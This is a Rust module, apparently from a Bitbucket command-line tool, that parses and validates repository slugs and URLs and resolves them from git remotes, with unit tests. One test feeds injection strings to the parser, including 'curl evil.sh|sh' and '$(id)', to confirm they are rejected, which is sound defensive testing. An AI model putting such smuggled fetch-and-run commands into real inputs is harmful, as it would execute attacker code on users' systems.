1use crate::error::{BbError, Result};
2use crate::git;
3use std::fmt;
4
5const MAX_SEGMENT: usize = 100;
6
7#[derive(Debug, Clone, PartialEq, Eq)]
8pub struct RepoSlug {
9 pub workspace: String,
10 pub repo: String,
11}
12
13impl fmt::Display for RepoSlug {
14 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
15 write!(f, "{}/{}", self.workspace, self.repo)
16 }
17}
18
19fn valid_segment(s: &str) -> bool {
20 !s.is_empty()
21 && s.len() <= MAX_SEGMENT
22 && s.chars()
23 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
24 && s != "."
25 && s != ".."
26}
27
28impl RepoSlug {
29 pub fn parse(input: &str) -> Result<Self> {
30 let input = input.trim();
31 let body = if let Some(rest) = input.strip_prefix("git@bitbucket.org:") {
32 rest
33 } else if let Some(rest) = input.strip_prefix("https://bitbucket.org/") {
34 rest
35 } else if let Some(rest) = input.strip_prefix("http://bitbucket.org/") {
36 rest
37 } else if input.contains("://") || input.contains('@') {
38 return Err(BbError::Config(format!(
39 "unsupported repository url `{input}` — only bitbucket.org is supported"
40 )));
41 } else {
42 input
43 };
44
45 let body = body.trim_end_matches('/');
46 let body = body.strip_suffix(".git").unwrap_or(body);
47
48 let mut parts = body.split('/');
49 let workspace = parts.next().unwrap_or_default();
50 let repo = parts.next().unwrap_or_default();
51 if parts.next().is_some() {
52 return Err(BbError::Config(format!(
53 "expected `workspace/repo`, got `{input}`"
54 )));
55 }
56 if !valid_segment(workspace) || !valid_segment(repo) {
57 return Err(BbError::Config(format!(
58 "invalid repository `{input}` — expected `workspace/repo`"
59 )));
60 }
61
62 Ok(RepoSlug {
63 workspace: workspace.to_string(),
64 repo: repo.to_string(),
65 })
66 }
67
68 pub fn path(&self) -> String {
70 format!(
71 "{}/{}",
72 urlencoding::encode(&self.workspace),
73 urlencoding::encode(&self.repo)
74 )
75 }
76
77 pub fn browse_url(&self) -> String {
78 format!("https://bitbucket.org/{}/{}", self.workspace, self.repo)
79 }
80}
81
82pub fn resolve(explicit: Option<&str>) -> Result<RepoSlug> {
83 if let Some(value) = explicit {
84 return RepoSlug::parse(value);
85 }
86 if let Ok(value) = std::env::var("BB_REPO") {
87 if !value.trim().is_empty() {
88 return RepoSlug::parse(&value);
89 }
90 }
91 if !git::in_repo() {
92 return Err(BbError::Config(
93 "no git repository here — pass `--repo workspace/repo`".into(),
94 ));
95 }
96 let mut candidates: Vec<String> = Vec::new();
100 if let Ok(url) = git::remote_url("origin") {
101 candidates.push(url);
102 }
103 for name in git::remotes().unwrap_or_default() {
104 if name == "origin" {
105 continue;
106 }
107 if let Ok(url) = git::remote_url(&name) {
108 candidates.push(url);
109 }
110 }
111
112 if let Some(slug) = first_bitbucket_slug(candidates.iter().map(String::as_str)) {
113 return Ok(slug);
114 }
115
116 Err(BbError::Config(if candidates.is_empty() {
117 "no git remotes configured — pass `--repo workspace/repo`".into()
118 } else {
119 format!(
120 "no bitbucket.org remote found (checked {}) — pass `--repo workspace/repo`",
121 candidates.len()
122 )
123 }))
124}
125
126fn first_bitbucket_slug<'a>(urls: impl Iterator<Item = &'a str>) -> Option<RepoSlug> {
128 urls.filter_map(|url| RepoSlug::parse(url).ok()).next()
129}
130
131#[cfg(test)]
132#[allow(clippy::unwrap_used)]
133mod tests {
134 use super::*;
135
136 #[test]
137 fn first_bitbucket_url_wins_over_earlier_non_bitbucket_remotes() {
138 let urls = [
139 "https://github.com/someone/fork.git",
140 "git@bitbucket.org:acme/widgets.git",
141 ];
142 let picked = first_bitbucket_slug(urls.iter().copied());
143 assert_eq!(
144 picked.map(|s| s.to_string()),
145 Some("acme/widgets".to_string())
146 );
147 }
148
149 #[test]
150 fn no_bitbucket_remote_yields_none() {
151 let urls = ["https://github.com/someone/fork.git"];
152 assert!(first_bitbucket_slug(urls.iter().copied()).is_none());
153 }
154
155 #[test]
156 fn parses_plain_slug() {
157 let s = RepoSlug::parse("acme/widgets").unwrap();
158 assert_eq!(s.workspace, "acme");
159 assert_eq!(s.repo, "widgets");
160 assert_eq!(s.to_string(), "acme/widgets");
161 }
162
163 #[test]
164 fn parses_https_url_with_and_without_git_suffix() {
165 assert_eq!(
166 RepoSlug::parse("https://bitbucket.org/acme/widgets")
167 .unwrap()
168 .to_string(),
169 "acme/widgets"
170 );
171 assert_eq!(
172 RepoSlug::parse("https://bitbucket.org/acme/widgets.git")
173 .unwrap()
174 .to_string(),
175 "acme/widgets"
176 );
177 }
178
179 #[test]
180 fn parses_ssh_url() {
181 assert_eq!(
182 RepoSlug::parse("git@bitbucket.org:acme/widgets.git")
183 .unwrap()
184 .to_string(),
185 "acme/widgets"
186 );
187 }
188
189 #[test]
190 fn rejects_shell_metacharacters() {
191 for bad in [
192 "acme/widgets;curl evil.sh|sh",
193 "acme/wid gets",
194 "acme/$(id)",
195 "a/b/c",
196 "acme",
197 ] {
198 assert!(RepoSlug::parse(bad).is_err(), "must reject {bad:?}");
199 }
200 }
201
202 #[test]
203 fn rejects_non_bitbucket_host() {
204 assert!(RepoSlug::parse("https://evil.example.com/acme/widgets").is_err());
205 }
206}